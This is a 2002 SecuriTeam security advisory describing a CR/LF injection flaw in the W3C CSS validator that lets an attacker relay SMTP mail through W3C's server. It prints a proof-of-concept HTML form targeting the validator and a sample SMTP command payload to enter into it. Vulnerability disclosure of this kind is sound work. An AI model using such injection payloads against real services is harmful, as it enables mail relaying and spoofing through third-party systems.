[NEWS] W3C CSS Validator - Proxying Attack

From: support@securiteam.com
Date: 09/16/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 16 Sep 2002 15:11:54 +0200 (CEST)

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  W3C CSS Validator - Proxying Attack
------------------------------------------------------------------------

SUMMARY

As we reported previously a vulnerability exists in the W3C HTML validator
that allows for cross-site scripting. The following shows a different
issue, where additional CR/LF (Carriage Return/Line Feed) can be inserted
into the FORM an attacker fills allowing him for example to send an email
through a third party site while masquerading as someone coming from W3C's
site (i.e. relaying through it).

DETAILS

Another vulnerability at the W3C, this time the CSS validator. A Cr/Lf
injection can be performed by creating a custom form:

<FORM METHOD="GET" ACTION="http://jigsaw.w3.org/css-validator/validator">
<INPUT TYPE="hidden" NAME="warning" VALUE="1">
<INPUT TYPE="hidden" NAME="profile" VALUE="css2">
Commands:
<TEXTAREA STYLE="width:300px;height:300px" NAME="uri"
ONDBLCLICK="document.forms(0).submit()"></TEXTAREA>
</FORM>

And filling it in with something like:

[Begin Form]
http://mailserver:25/
HELO 127.0.0.1
MAIL FROM:me@here.com
RCPT TO:you@somewhere.com
DATA
This is a simple message demonstrating the W3 relaying hole

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